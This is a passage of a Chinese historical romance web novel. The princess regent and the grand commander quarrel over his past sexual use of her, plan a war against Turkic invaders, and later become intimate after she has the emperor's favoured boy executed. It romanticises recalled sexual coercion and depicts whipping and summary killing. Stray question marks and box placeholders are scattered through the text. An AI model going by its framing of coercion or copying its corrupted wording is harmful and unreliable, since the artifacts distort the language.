“那些时日是?你的荣耀,却是?我毕生之耻辱!”司妤盯着他道:“我费了?很大力气才能平静坐在?这里与?你共商朝事,你一定要如此,那我们便鱼死网破!” 她所说不像是?假话,高盛停了?下来,静静看?着她,她盯向他,眼眶微湿,眼底泛着决绝的恨意和凶狠的红光, “我占了?你,也帮你杀了?管洪和吴贵妃,你割我一刀,怎么也该两清吧?更何况……” 他沉声道:“五年前我就救过?你,用我所有亲人的命,要不是?我们,你早在?突厥可汗的床上躺了?五年!” “所以你作为人臣,便要来践踏我?”司妤反问,“那你便是?佞臣,我杀你有何不可?你竟每每露出轻佻亵玩之意,别说我不想和男人扯上什么关系,就算我真要找男人,也宁可找梅棠而不是?你,至少梅棠对我眼中是?敬重?,而你…… 她咬牙愤声道:“你看?我的眼神,你那视我为玩物、当我是?禁脔的模样,让我恶心,让我食不下咽,夜不安眠!” 高盛觉得自己找到了?答案,为什么她宁愿和别的男人亲近也不让他碰她一下,拒他于千里之外?,因为她觉得他恶心。 别人给她舞剑,送花给她,就是?敬重?,而他靠近她,却是?轻佻亵玩,是?拿她当玩物? 他就是?他妈想睡她,他是?个男人,她是?个长得天下第一好看?的女人,他但凡脑子?正常,就不会不喜欢她吧?这就叫视她为玩物? 他从她身上起来,一句话没说,出去了?。 司妤坐起身来,重?重?喘息,咬咬唇,拢好自己的衣服。 外?面的清风吹散了?一些高盛的冲动与?怒火。 她说错了?,他也不是?完全只想和她上床,她如果愿意对他笑,愿意给他弹琴、和他去爬山,他也会很高兴的,床上那种?事,她不愿意就不愿意,他当然不会逼她。 但她不愿意。 往日那两年…… 他不由?想起那天晚上,她走近他的寝房,在?他面前脱下衣衫。 那天他的确对她没有客气,他看?着她因疼痛而哭泣,看?着她因体力不支而求饶,但他毫无?怜惜。 他的确将对朝廷的恨与?不满发泄在?了?她身上。 天家高高在?上,朝廷是?名门?望族的朝廷,如他们这些平民,便是?草芥。 如今身份尊贵的公主,躺在?他身下嘤嘤啜泣。 但他不觉得他亏欠了?她,凭什么她为皇室,就要他高氏上下替她出生入死、马革裹尸?而皇室与?朝廷却从未爱惜自己的子?民,只将子?民当蝼蚁! 王侯将相,宁有种?乎? 总有一天,他要她再来他面前求他! 朝臣们发现,以前太尉对长公主随意中透着亲昵,而长公主则十分客气疏离,现在?太尉也开始客气疏离了?,甚至有些冷淡,公主则是?更冷淡了?,这一时让朝臣们压力很大。 朝廷动荡至今,好不容易安稳一些,可再别出什么意外?了?。 再过?十来天,由?太常寺卜算的大吉之日到了?,天子?出行,离开京城,前往新都西昌。 已?有部分朝臣与?士兵先?行,饶是?如此,天子?这一行也有数万人,极目望去,浩浩荡荡的队伍不见首尾。 天子?太后仪仗在?前,随后是?公主王爷,再是?高盛严淮等人。 队伍走得比普通行军慢,往往只走半日,到下午就开始扎营,埋锅做饭。 高盛这一趟也没有骑马,有了?个大官的样子?,坐着车,王小桃和他一起。 又到下午,队伍停了?,寻了?一块平坦高地,开始扎营。 这种?行程对高盛来说太慢了?,待得无?趣,便与?卢慈几人一起去打野味。 一般是?转一圈什么也碰不到,但也有运气好的时候,能弄上点山雉鸟雀什么的,今日运气特别好,弄着只兔子?。 回来时卢慈特别高兴,大夸特夸高盛神射,高盛脸上也含着笑,见王小桃坐在?营帐外?做针线活,更将那只白兔给她看?:“看?,弄到只肥兔子?,还?是?白色的,特地没伤着皮毛,回头让他们把?皮剥下来,你可以缝在?斗篷上。 王小桃乍然看?只血淋淋的兔子?,一只箭在?兔眼睛处射了?个对穿,吓了?一跳,随后道:“这……也太吓人了?,我不要。” “怎么不要?皮毛暖和。” “可我怕看?到它就想起这,这样子?。”王小桃说着都不敢再看?,催促道:“表叔快拿走,我怕。” 高盛将兔子?远远扔给了?一名伙头兵,笑道:“这有什么好怕的。”说着,就地坐下,在?衣袖上擦了?擦手上的血,拿了?水壶来喝水, 王小桃此时已?经放弃了?给他做白衣绿衫的想法,看?看?他,小声问:“表叔真的不会和长公主成亲吗?” 高盛一哼,不悦道:“好端端的,提她做什么。” 王小桃说:“我看?这一路,那位梅先?生时时守在?公主身旁,有人说梅先?生是?公主的宠臣。” 高盛喝了?水,将水囊死死塞住,咬牙道:“人家是?公主,能给赏赐给官,养一两个长得好看?的小白脸,也不在?话下。” “啊……”王小桃有些怅然:“我还?以为……” 她还?以为长公主和表叔才是?一对呢,却没想到京城的人看?得这么开。 她又看?着表叔,觉得他并不像很开心的样子?,甚至这段时间,就好像他和公主吵架了?一样。 “表叔要不要把?兔子?皮去送给公主?”她问。 高盛回答:“公主坐拥四海,可不稀罕一块兔子?皮。” “那……外?面吃饭十分不易,今天听说只能吃腌肉,表叔可以将兔肉炖好了?献给公主。” 高盛看?向她:“小桃,我要告诉你,皇室如今什么也不是?,你不必事事讨好他们,她若想吃肉,可以让那姓梅的乐伶去给她弄。” 说完,远处卢慈大声喊:“大哥,这兔肉是?直接烧,还?是?和萝卜一起炖?” 高盛一边起身朝他走去,一边回道:“和萝卜一起炖,大家都能沾点味儿。” 王小桃看?着他的身影,觉得他远不如自己表现出来那么无?所谓,如若不然,怎么提起梅先?生来就咬牙切齿,酸酸的?可人家梅先?生又俊朗,又懂琴,会音律,会舞剑,日日持剑护卫着公主,听说还?给公主写了?首歌辞,谁能不动心呢? 远处,只能看?到公主的帐篷,看?不见公主的身影。王小桃叹了?一口?气,觉得自己和表叔姻缘都不太好的样子?。 第39章 第 39 章 再行?十多日, 天子与百官的队伍终于靠近西昌。 西昌一切准备就绪,只等天明吉时,迎天子进城, 然而就在夜幕时分, 第二日进城事宜的吉报送来不过一刻,前方?却送来八百里加急军报, 这军报直达太尉府,随后由高盛亲自呈到司妤面前。 司妤见?了军报,几乎惊呆。 突厥新可汗阿蓝吉亲率十五万大军南下,边境云州刺史被杀, 突厥在朔州抢夺财物,劫掠人?口, 随即这十五万大军继续已穿过岚州、绥州等地, 到达延州, 直逼西昌。 司即是见?过突厥大军的,那是草原上的民族, 兵强马壮,全?民皆兵, 战场上丝毫不比西凉军弱,当初两万人?就已让朝廷震惊,如?今山河动乱, 他们竟却率师十五万…… 司妤几乎白了脸,有些失措地看向高盛。 “这, 如?何是好?”理?政以来, 面对的都是熟悉的人?与事, 这突厥十五万大军,几乎超出她想象。 高盛毕竟是战场中厮杀出来的, 见?惯了,此时倒镇定,回道:“公主可先召诸位大臣来商议对策。” 司妤这才想起来是该召人?商议,于是当即就命人?去召严淮薛迈等文臣武将。 众臣见?这急报,俱是一惊。 不怪他们胆小,实在是京城之乱才平,屈继先黄承训等人?还逃蹿在外、虎视眈眈,更别提尚有长生教余众与四地割据,正是屋漏偏逢连夜雨,朝廷如?今哪有气力?去与突厥十五万大军抗衡? 很快便有大臣提出议和。 这些蛮夷所求不过财物,给他就是了。 大司农反对道:“天灾人?祸,税收稀薄,国库空虚多时,就算砸锅卖铁给了突厥,之后又拿什么度日?” “无法度日,就慢慢度,总要过了眼前的难关再说,延州与西昌可不过一百多里!” 大司农没了话,宗室临汾王也道:“才迁新都,时局不稳,兵马也不能妄动,臣也以为斩且议和为好,攘外须先安内。” 许多臣子附议,司妤看向严淮:“严相呢?” 严淮叹了声气:“突厥来势汹汹,臣恐朝廷无力?招架。” 司妤默然。 她内心也惧怕突厥,但要如?此议和,对她来说如?同摇尾乞怜,她实在无法接受。 最后她看向高盛,他是天下军马统帅,不知他是什么意见?。 高盛道:“大凡议和,无非是送钱是送女人?,谁赞同议和,谁就多出点钱,再交出自己的女儿吧,不用?多,一个就好。” 这话粗鄙又难听,之前要议和的大臣纷纷不满地看向他,却又不敢辩驳,只有临汾王开口道:“议和并非我等贪生怕死,而是审时度势,韬光养晦,不逞无谓的匹夫之勇。” “正是,此时出战,无异于以卵击石,暂且议和,避其锋芒,休养生息,待国力?强盛再出兵不迟。”有臣子附议道。 卢慈回道:“你们读书人?就是能说,能把贪生怕死说得这么有道理?,小小突厥,你们怕,我可不怕,朝廷给我十万人?马,我去将那阿什么蓝的项上人?头提回来!” “就怕到时卢将军自己丢命事小,却又折损朝廷十万大军。”临汾王说。 司妤不想他们再吵下去,开口问:“那太尉的意思?,是应战吗?” 高盛道:“就算议和,也要打过之后再议和,现在议和,与不战而降有什么区别?” 严淮问:“若是打输了呢?怕突厥越发狮子大开口。” 高盛一笑:“严相便对我□□如?此没信心,未战而先言败?” 严淮立刻否认:“万事谨慎总好一些。” 这场议事议了一个多时辰,大多数朝臣都要求和,司妤便叫停了,开始讨论明日入城定都的事,最后决议入城时间不变,按原计划进行?。 第二日天子进新都,因?皇宫未修建完成,天子暂住西昌行?宫,人?马才安定,又有新奏报呈来,延州刺史开城门?投降,突厥已进入宁州,逼近京城。一并带来的,还有一封阿蓝吉可汗的信,信中称,久闻永宁公主美?貌,想要公主嫁与他为妻。 司即心中更慌了,但她知道严淮是偏向议和的,便暂且按着奏报,召来了高盛,问他意见?。 高盛看了那信,不屑道:“口气可真大,不将他打回去,我便不姓高。” 他说得自信又轻巧,让司妤心中一安,却又问:“真的能打?” “当然。”高盛似乎看她紧张,继续道:“另外,西昌占据天险,突厥要攻来京城并非易事,公主不必过于忧心。” 不管怎样?,来自他的安慰,竟如?此让她信服,她知道他是战场上的神,他说能打,她一下就有了底气。 她问:“可是京城兵力?也动不得,万一有贼子攻打京师便无力?招架,突厥又有十五万大军,如?何去战?” 高盛回道:“我知有一人,名郑纬,在太原密郡任北部?都尉,羌汉混血,最擅奇击,不如?派他领三?万人?出击,再由陈滔、薛迈分兵相援,定能击溃突厥,令其收兵。” 司妤有些犹豫:“羌汉混血,信得过吗?” 高盛反问:“如临汾王,不只是汉人?,还是尊贵的司姓皇室,便信得过?” 司妤从他话中听出几分讥诮来,他就是这样?,提起出身,提起名门?,就要讽刺一番。 她不和他计较,如?今的情况是她不想议和,却又对出战没有把握,也不太懂,高盛在军事上令她信服,正好,他也主战。 她决定将突厥之战交于高盛手上。 “我决定出兵应战突厥,至于其中细则,一切都由太尉定夺。”她认真道。 高盛正色回答:“臣领命,定将突厥驱除国境!” 朝廷与突厥开战了,大军已开拔,原本要办的定都大礼也暂且搁置,一切等大战之后再说。 就在两国大军于前线激战时,屈继先却率八万大军趁机朝西昌攻来。 突厥兵临城下,屈继先又卷土重来,朝廷本就疲敝,哪里又能双线开战? 于是此时朝中有声音称,攻打突厥本就不对,长公主到底是妇人?,一无经?验,二无远见?,听信武将蛊惑,竟贸然出击突厥,如?今内外受困,国终将亡于妇人?之手。 听见?这传言,司妤几欲崩溃,不禁也开始自我怀疑,可要不是皇室无人?,她也不会理?政,就算她要将政事交出去,又交给谁呢? 议政时,终于有人?提起这些声音,还是临汾王。 他道:“臣以为,公主不如?下罪己诏,以平京中流言,承诺只是代为理?政,待皇上成年,即刻将政事交还皇上。” 司妤还未开口,高盛便道:“臣以为,临汾王当斩。” 临汾王一听此话,震惊道:“太尉,你何出此言?” 高盛回答:“何为罪己诏?公主何罪之有?当初安朝烈乱政,公主义无反顾亲身赴险带兵夺回京城;朝中无人?,也是公主力?挽狂澜主政;公主是大兴的明珠,如?今为国事操劳,形容憔悴,到你这里,竟成了有罪?该不会那些莫名其妙的流言是王爷放出的吧?为了某些无法告人?的目的。” 临汾王几乎气得吐血,连说话都结巴起来,瞪眼道:“你你你……你胡说!我敢指天发誓,若有此事,天打雷劈!” 说他故意放流言,那便是中伤公主,中伤公主是什么目的,将公主拉下垂帘听政的位置,那谁又能上呢?最后会不会是他这个宗室王爷? 这不就等同于说他想谋反吗?因?此临汾王又气又急。 听他这发誓,高盛轻哼一声:“不管是不是王爷,这背后造谣之人?要严查,宁州还在交战,反贼未灭,朝中却流出这种谣言,分明是要动摇军心,颠覆社稷,必须严惩不贷!” 此话一出,司妤不由定了心神,意识到自己之前的脆弱全?是因?为心虚。 但她为什么要心虚呢?这种关键时候有这种传言,不管居心如?何,确实是动摇人?心,当政者丝毫不能退缩手软,得重拳出击。 她便开口道:“太尉说的正是,即日起,由绣衣使?者暗查放出流言之人?,情节严重者,杀无赦。” 殿中再没了声音。 随后便是平反之事,高盛提议速战速决,所以由自己亲自领军出击。 他本是主管全?国兵马的,所提建议自是经?过深思?熟虑,而在司妤看来,朝廷目前实力?无法维持双线作?战,突厥那边兵强马壮,须作?好最差打算,那屈继先这边就不能耽误,早日击溃为好。 由高盛亲自领兵,威势上便大了几分,屈继先所率之部?必定闻风而丧胆。 只是她也担心高盛离去后朝中不好控制,但内忧外患,不得不如?此。 危难之际,大军正整装待发,天却乍然转凉,几乎是一夜入冬。 司妤好几夜都没睡好,也吃不下,日日盼着宁州传来好消息,却什么也没有,的确是形容憔悴。 又看着江浙蝗虫泛滥,粮食欠收的奏报,她看向窗外阴沉的天空,长长吸一口气。 着人?前去调查,然后看着情况减免江浙下半年税收吧,没有办法,数万大军在外,若没有粮食,便要输了这仗……百姓与军士,众生皆苦。 正写着批语,宫人?来报,昌乐公主来了。 司妤心里挂念着弟弟的学业,只把他当作?江山最后的希望,但平时实在抽不出空,就让昌乐照看着,因?此昌乐偶尔会来和她说一声皇上近况,其实她不甚满意,但昌乐也不怎么了解那些学问,不能难为她,有她盯着,只是聊胜于无。 倒是最近朝廷忧患,她也有好久没见?昌乐了。 此时听昌乐过来,便下令让她进来。 昌乐过来,见?她在批着奏疏,便小声问:“姐姐是在忙吗?” 司妤低着头,一边写着一边问:“无妨,你说,我听着。” 昌乐有些犹豫:“是皇上的事。” “他近来如?何?之前让他作?一篇关于当今国势的策论,他写了没?”司妤问。 昌乐回答:“好像是没写吧,上次说有点难,要请教一下老师。” 司妤也知道弟弟不是十分聪慧博学的人?,点头道:“是有点难,也不用?说得特别好,这本就是朝廷难题,只是让他尽量想想而已。” “嗯……我回头再和他提一提。” 司妤见?她有些支支吾吾,便放下了笔,问她:“怎么了?你来是为什么事?” 昌乐这会儿才道:“有件事,我怕说了姐姐生气,又怕皇上会怪我,先前和母后说过,母后说只是小事。” “你倒是说,到底是什么事。” 昌乐回道:“皇上身边有个小童,演杂戏的,叫陈如?,现在陪在皇上身边,很得皇上喜欢,我原本觉得皇上只是少玩伴,贪玩而已,结果这两日却听闻,皇上身边人?都称那陈如?为‘如?妃’。” “什么?”司妤惊了一下。 昌乐马上道:“我也不知道具体是怎么回事,只知皇上确实很喜欢他,两人?常在一起玩。” “这事从什么时候开始?”司妤问。 “就两三?个月吧。” “那就是还在旧都的时候。” 眼见?司妤脸色大变,昌乐再次解释:“我确实不能肯定,只知他们要好,也只知确实有人?这样?称呼,就是不知皇上是怎么态度。” 司妤觉得如?果不是心里确定七八成,昌乐不会来和她说,但她不愿相信这事,怕错怪了弟弟,便起身道:“好,我知道了,我自己去看看再说。” 此时才意识到,她也有许久没见?着皇上了。尽管每次朝会都会有皇上,但皇上在前,她在珠帘后方?,两人?是见?不着的,而她心里眼里都是突厥、屈继先这些事,皇上在朝上又一向沉默,以致她目光几乎就没在皇上身上停留过。 皇上住在行?宫的紫辰宫,司妤要出门?时,正好天下起了大雨。 如?缨说天冷,问她要不要等雨停了再去,她想自己此时心里就记挂皇上,做别的也是不安心,不如?去看看,见?见?那陈如?再说,便穿上木屐,披了披风,由人?撑着油伞出门?了。 天果然冷了许多,起着西风,有雨滴飘洒身上,不一会儿就将她裙摆打湿,浸得腿凉凉的。 到紫辰宫,宫人?不期然脸色一变,忙要入内通报,司妤突地泛起警觉,开口道:“不必了,我自己进去。” 宫人?连忙道:“皇上怕正在午睡……” “我与皇上为亲姐弟,无碍。”司妤说。 宫人?脸上神色一时变得很难看。 司妤直觉有古怪,便冷冷看他一眼,让如?缨等人?留在外面,自己进去了。 到内室外,宫人?见?她来,也是要入内通报,她越发觉得皇上定不是在午睡,再次制止。 雨下得大,哗啦啦啪打在屋顶上,将外面细小的动静淹没。 司妤已经?在外脱了木屐,只穿绣鞋悄声入内,还没走近,便听到里面皇上的声音。 “画这儿,你这点红心,便是个龟眼睛。” 随后便是一声娇媚不输女人?的嘤咛:“皇上你干嘛呢!” 皇上笑,那娇媚声音也道:“待会儿便不会放过皇上了。” “还要你有那本事。” 话说完,传来一阵咚咚的声音,司妤撩起帘子往里看,就见?到弟弟与个十五六的俊俏小童拢着被子趴在床上,两人?都是半祼的身躯,皇上身上被画了只乌龟,小童脸上被画了一只,身上也被画了个乌□□,正在胸乳处,还在上面画了个点。 此时皇上正在摇着骰子,司妤没玩过,但很久以前见?宫人?玩过,后来宫中赌风盛行?,便将这骰子禁了,只是私底下也会有人?玩。 皇上问:“我这会儿一定大。” 此时那小童乍一抬眼,见?到了她,立刻惊惶道:“长……长公主……” 皇上也回过头,惊愕道:“姐姐……” 司妤已无法思?考,转身就到了外室,找了一圈,找到根挂在墙上的马鞭,那还是她交待皇上要学武学骑射才备下的,如?今这马鞭却是全?新。她一把拿了那马鞭重新入内,想抽皇上,却忍住了,那是大不敬,她只能朝那小童狠狠抽去。 “什么东西,好大的胆子,竟敢蛊惑皇上玩骰子,竟敢魅惑皇上!” “我今日便打死你,不学好,竟做起这勾当,你如?何向百官交待,如?何向万千子民交待,如?何向列祖列宗交待!” 前面还在骂陈如?,后面已经?在骂皇上。 她一边说着,一边使?出全?力?去抽鞭子,就算她力?气不大,但陈如?没穿衣服,那鞭子一下一下抽在身上,很快就抽出一条条血痕,陈如?早已滚下床来跪在地上,一边哀嚎,一边求饶,又朝皇上道:“皇上救救奴婢,救救奴婢啊……” 皇上立刻披了衣服也下床来,朝司妤道:“皇姐,不怪他,是我要他教我的,你别再打了。” “我要你读书,要你学治国之策,你整天都在干什么,你姓司,你是皇上!”司妤一边说着,一边几乎自己都要哭出来,疯了一样?将鞭子往小童身上抽。 皇上看了怜惜,立刻就过去抓住她手中的鞭子,求情道:“皇姐,别打了,我知道错了,我后面一定好好读书,你放了他。” “你松开!”司妤越发震怒,想夺回鞭子,皇上去死死攥住不让她夺,她无奈,随即下令道:“来人?,将这妖人?带下去砍头!” 皇上身边宫人?与侍卫都是她任命的,此时立刻进来将陈如?拖下去。 皇上见?此情形立刻慌了,连忙去拉了陈如?的胳膊不让他被带走,但敌不过两三?个太监的力?气这太监都知道宫里是谁说了算,便将陈如?夺过去往外拖。 皇上怒了,立刻道:“不许杀他,朕看你们谁敢!” 太监不由迟疑,司妤一见?此情形,更加怒火攻心,即刻道:“拖下去,快给我拖下去,杀!” 太监便立刻又将他带往外面,在陈如?的哀求声中,皇上朝司妤道:“姐姐,你凭什么杀他,朕才是皇上,你只是公主,你凭什么杀朕的人?!” “就凭我现在能杀!”司妤厉声道。 陈如?被带下去了,哀求的声音消散在雨里,最后戛然而止。 皇上无力?地坐到地上,看向司妤,恨声道:“姐姐,你凭什么杀他,他是朕最喜欢的人?……你凭什么……朕恨你,恨你……朕恨你!” 司妤只觉脑中“轰隆”一声,一下子懵了,失去了神智。 她看着眼前的弟弟,看着龙床上凌乱的被褥,还有那骰蛊,似乎什么也不知道了,手上一松,马鞭从手上落了下来。 皇上颓然坐在地上,一下一下抹着眼泪,控诉道:“是我要玩骰子的,你整日要我读书,师傅也整日要我读书,我就不能做点别的吗?只有他待我好,只有他让我开心,可你却杀了他……为什么要这样?对我……” 司妤一句话也没说,转过身离开紫宸宫,踏往宫檐外面。 外面雨下得更大,如?缨连忙提醒:“公主,地上都是积水,先穿上木屐!” 司妤却置若罔闻,继续往前走。 如?缨无奈,只好赶紧令人?捡起木屐,自己持伞跟上去,“公主,外面雨大!” 司妤只是往外走,速度不快,却并不停下。 如?缨担心地看着她淹在水里的绣鞋,无奈地低求:“公主……” 司妤听不进去,也没有知觉,脑子里只有皇上那句话“朕恨你”。 他恨她,他竟然恨她…… 她是个女人?,这家国大事何时轮到女人?作?主?千年来的男人?们没给她这种权力?,先祖也没给她这种权力?,她唯一要做的就是找个人?嫁了,生儿育女,相夫教子而已。 舅舅与母后让她去献身高盛时,她也才十七岁,没见?过什么男人?,什么也不懂……她只是觉得,她是公主,她姓司,维护社稷,也是她的责任,就算是粉身碎骨也要去。 她成为高盛床上的玩物,她舍弃性命孤注一掷刺杀,她不得不被人?说牝鸡司晨,垂帘听政,她没有享受过权力?的半分好处,只有困,只有累,只有殚精竭虑,怕江山毁在自己手上…… 所有这一切,只要想到,等皇上长大亲政,她能将一个还未灭亡、还大致能治理?的国家交到他手上就安心了,就一切都值得…… 可是,当她忧心内外,整夜睡不着时,他却在宠幸娈童,在摇骰子……嫌读书累,他有资格玩吗,有资格嫌累吗?他竟然能玩得下去! 一阵强风吹来,猝不及防,将如?缨手上的伞吹跑了,如?缨连忙去捡,回头看司妤却已往前去,她捡了伞,又见?伞破了,一边让人?去拿新伞,一边又拿着破伞追上去。 司妤不愿回去,在雨中走了一圈,见?着面前的松月楼,伫立一会儿,走了进去。 第40章 第 40 章 高?盛来?找司妤, 得?知她去见皇上了。 他觉得?此时还是朝事要紧,不知道皇上那里有什么好见的,便在她宫前等了一会儿, 结果久等不至, 却等到?个?宫女回来?给公主拿伞。 这么大雨不回来?,要伞做什么?高?盛问了一句, 宫女迟疑着不知怎么回答,被高?盛一瞪,连忙道:“公主……从皇上那里出来?,不太高?兴, 就……就冒雨散心去了。” 高?盛看了看外面的雨,什么样的心情不好, 要冒着暴雨散心? 他撑了把伞, 往紫宸宫而去。 行?宫不算太大, 很?快他到?紫宸宫前,没见着人, 一问,才知长?公主往前面去了。 拿伞的宫女听这话?已追赶过去, 高?盛暂留一步,问了太监情况,才知是皇上近来?宠幸个?娈童, 正与?娈童在屋内玩骰子,被长?公主撞见, 公主盛怒之下将那娈童下令杀了, 惹得?皇上与?她吵了架。 高?盛觉得?新鲜, 皇家人就是会玩,他十四岁时还拿个?木棍到?处找人单挑呢, 人家就已经开悟会找娈童了……哪怕找个?女人,他姐姐也没那么气吧,找个?男人算怎么回事? 高?盛也往司妤离去的方向去了,最后问了一圈,找到?松月楼。 那是行?宫的一座三层高?楼,曾经司家皇帝与?妃嫔臣子在此宴饮奏乐,居高?临下。 高?盛也上去了。 到?三楼,那拿伞过来?的宫女在外面,说长?公主在内。 话?才说完,如缨唤那宫女进?去,吩咐她再去给公主拿衣服来?。 那宫女道:“太尉来?了。” 里面没声音,高?盛在外面道:“公主,宁州捷报。” 仍是没声音,过了一会儿,如缨出来?,和他道:“公主淋了好久的雨,到?现在也不说话?。” 高?盛径直入内。 “诶——”如缨没想到?他就这么进?去了,连忙叫了一声,也没叫住,再追上去,就见高?盛已然站在室内,公主没反应,她也不好说什么。 此时司妤坐在室内榻上,榻旁地上是一身湿衣,她裹着一圈被子,头发尽湿,脸色苍白,嘴唇都快冻紫,静静坐着什么动作也没有。 她从未这样,如缨十分担心。 高?盛看着榻上的司妤,说道:“郑纬胜了,不想看看吗?” 司妤仍是没反应。 高?盛看向如缨:“你先下去吧。” 如缨无?措地看向司妤,司妤也没阻止,她犹豫一下,想着公主这样,淋了半天雨,又在高?塔上站了好久,自己此时也是没办法,便乖乖下去了。 高?盛坐到?榻边,看着她道:“男人都这样,脑子里没正经事,再说你们?家不是有这传统吗,也不能全?怪他。” 司妤立刻抬起头来?:“你……” 她气极,想斥责,却无?话?可说,先帝也没好到?哪儿去。 高?盛笑了,“你不是把那人杀了吗,不就完了,他以后也不敢了。” 司妤不回话?,眼中却缓缓流下两人行?泪来?,半天回道:“他说他恨我……” “那有什么,我八岁就说要杀了我老子呢!”高?盛不以为意。 司妤诧异地看向他,他道:“后来?被我老子吊在树上打。” 司妤“扑哧”一声笑了出来?。 高?盛将那捷报递给她。 她看了一眼,将手从被子里拿出来?,接过捷报,打开来?看。 确实是郑纬大胜,歼敌五千人,将阿蓝吉逼退三十里。 她又将捷报递回她,高?盛接过去,两人手指无?意间相碰,让她惊了一下,他的手好暖。 高?盛却捏住她的手:“这么冰,淋了多久的雨?” 司妤想将手抽回来?,却又有些?舍不得?,此时此刻,她内心无?比眷恋这温暖。 她问:“这么大雨,还是明日出发么?” “要不然呢?下刀子也得?走。”他说。 有些?情绪哽咽在喉间,司妤不知能说什么。 好在有他,这些?日子若没有他,她不知怎么撑过来?。 “到?时候……一切小心,我等着你早日归来?。”她叮嘱,眉眼中是真正的关心。 高?盛知道她近来?忧愁,安慰道:“屈继先之流,我还不放在眼里。” “轻敌乃兵家大忌。”司妤道。 他笑:“好,公主说得?对。” “我离开后,那些?散布流言的人抓到?了该杀就杀,不要心软,多杀几个?人,这朝廷就安静了。” “严淮可信,临汾王虽然说话?难听,大致也是可信的,我让卢慈留在京城,我交待过他要守好京师,他这人善战,但鲁莽,你要让李风华劝着他。” “皇上嘛,也还小,再好好教?导就是,不行?的话?给他找几个?妃子也行?,你也不用太着急,所有男人都不喜欢受管束。”这话?说得?亏心,其实就她弟弟,高?盛是真看不上,但知道她此时伤心,就想了些?话?来?劝她。 司妤果然听进去了,点点头,眉头也舒展了许多。 高?盛看着她,觉得?她此时对他态度很?好,氛围也很?好,最后忍不住提了个要求:“还有那个?梅棠,你能不能让他少在你眼前晃,我看见他就头疼。” 司妤先是一愣,随后却笑了,回道:“怎么,你还吃醋了?” 她竟然对他笑,还和他说这种话?,一时间,高?盛觉得?自己好像做梦了。 大概是,见他要去替她卖命了?她这人向来?就是无?情的。 他老实回答:“算是吧,我就是不想看见他。” 司妤又笑,随后起身在他唇上亲了两下。 高?盛莫名其妙看向她:“你做什么呢?” “不做什么。”她端正坐着。 高?盛便一动不动看着她,似乎要看出答案来?。 他这样看,她又重新扭过头,与?他对视一会儿,竟又倾身亲吻他。 高?盛一把将她掰开,恼道:“你要不想做那事,就别撩拨我,我可一点都禁不起撩,回头你又说我不敬重你。” 司妤不由就笑了起来?,也不回话?,好像挑衅似的又朝他唇上吻去。 等她持续到?他颈间,他觉得?自己已经忍到?极致,一把将她抱住,捞起她被子里光裸的身体,狠狠吻住她,几乎要将她揉进?胸膛。 她仍没推开他,竟好像是真的答应。 很?快他便除尽衣物,与?她肌肤相贴,她近乎贪婪地往他身上靠,汲取他身上的暖意。 不只温暖,还有那喷涌的力量,她抱住他宽阔紧实的肩膀,不禁湿了眼眶,几乎哭出来?。 其实,他才是她心中男人的样子,那么强大,那么顶天立地,她甚至一度很?羡慕小桃,能被他如此呵护。 而她,什么也没有,父亲只是个?昏君,舅舅胆小怕事,弟弟已经十四岁,却依然不立志,什么安朝烈,什么屈继先,还有突厥十五万大军,全?都要她一个?人来?面对……她觉得?好累,好怕,好想有人能依靠、有人能帮帮自己。 但是,没有,他们?给她的只有失望…… 或许她是疯了,她被这繁重又煎熬的国事压疯了,也被自己的亲弟弟刺激疯了,竟想从这个?夺走她贞操、玩弄她身体、又想夺走她天下的男人身上寻找安尉,可是他真的好强大,像山一样无?坚不摧,他将她包裹,渡她温暖与?力量,与?她融为一体。 她无?法抵抗,在这一刻放任自己沉沦,放任自己去体会那无?上的快感?,掳获他,也将自己悉数奉上。 后来?,夜幕降临,屋中一片昏暗,风雨已停,两人躺在那张矮榻上,她静静贴靠在他怀中。 他问:“这算什么,犒赏三军吗?” 司妤不回话?,只是抱住他,过了一会儿才道:“我们?今晚就在这儿睡吧。” 他问:“冷不冷?” “不冷,你身上暖。”她说。 “你睡吧,好几天眼圈都是黑的,人也瘦了。” “嗯……” 司妤实在困乏了,躺在他怀中睡了过去。 她在清晨黎明时醒来?。 算下来?已睡了近五个?时辰,竟是一夜未醒,她一直失眠,好久好久没这么睡过。 高?盛还在她身旁,她叫醒他:“我们?该起来?了。” 趁天没亮起来?最好,还能避人耳目。 高?盛“嗯”了一声,在她脸上唇上亲了几下。 如此好的时光,他竟然要走了,他是真喜欢和她做这事,这一次比前面还要快慰,要他死了都愿意。 唤人来?掌灯,然后两人起身,打理一番,天已将明,两人便匆匆离去,司妤要回寝宫,高?盛要去太尉府,然后去宫门前集结,誓师开拔。 高?盛其实还在很?多话?想说,他就想问她这是什么意思呢,她是不是其实不喜欢那姓梅的,喜欢他,以后两人怎么安排等等,但出征在即,早上匆忙,实在没时间。 大军出征后,太后让人叫司妤去太后寝宫,皇上也在。 皇上低着头,朝司妤道:“姐姐,我知错了。” 司妤没看他,声音微冷地问:“既然知错了,为何不去替将士送行??” 皇上沉默不语。 太后解释道:“他昨夜半宿没睡,又哭又闹,今早也是神情恍惚,哀家就同意了他没去。” 司妤道:“母亲,皇上已经十四了,高?盛在履历上,十四岁从军,十五岁就杀敌五人,做上队长?,统领五十兵卒。十四并不小了。” 太后叹一声气,随即朝皇上道:“你姐姐都是为你好,你怎能说她,你看看那平州王,坟上的草都不知长?多高?了。” 皇上低声道:“姐姐,我当时只是气话?,我知道姐姐是为我好,只是……姐姐二话?不说就杀了他,我……我……”说着他又忍不住哽咽起来?。 司妤回答:“你是皇上,你身边有千万双眼睛,父皇糊涂,养成吴弼之患,臣民离心,皇上再如此,叫那些?朝臣怎么想?他们?会不会觉得?这又是下一个?先帝,会不会觉得?这天下总该改朝换代? “皇上,大兴没了,我不会死的,他们?会留下我充实他们?的后宫,只要我听话?,我就能活得?好。”她说着问:“可皇上呢?真有那一天,他们?不会放过皇上的。” 皇上瘦弱的身体猛地一僵。 太后不由垂下泪来?。 司妤继续道:“若我们?只是平常人家,我不会逼你读书?,可我们?身在皇家,就算不为祖宗基业,只为自身性命,也不可懈怠,你明白吗?” 皇上哭起来?:“我明白,姐姐,我真的知错了,再也不会了……” 司妤见他说得?真切,心中再次升起一些?希望,温声道:“你若是寂寞,可以为你筹备大婚;若是少玩伴,也可以召些?才俊少年进?宫做你的伴读,或是与?你一同练骑射、习武。有一日江山稳固,你为一代明君,我不会再管你宠幸什么人,至少现在,荒唐之事再不许有。” “是……我知道了。”皇上承诺道:“我不要大婚,我也不要招人进?宫,我就好好去学,争取十六岁时辅佐姐姐政事。” 司妤笑道:“你是皇上,怎么叫辅佐,你那时要是长?大了,就亲政。” 皇上郑重地点头。 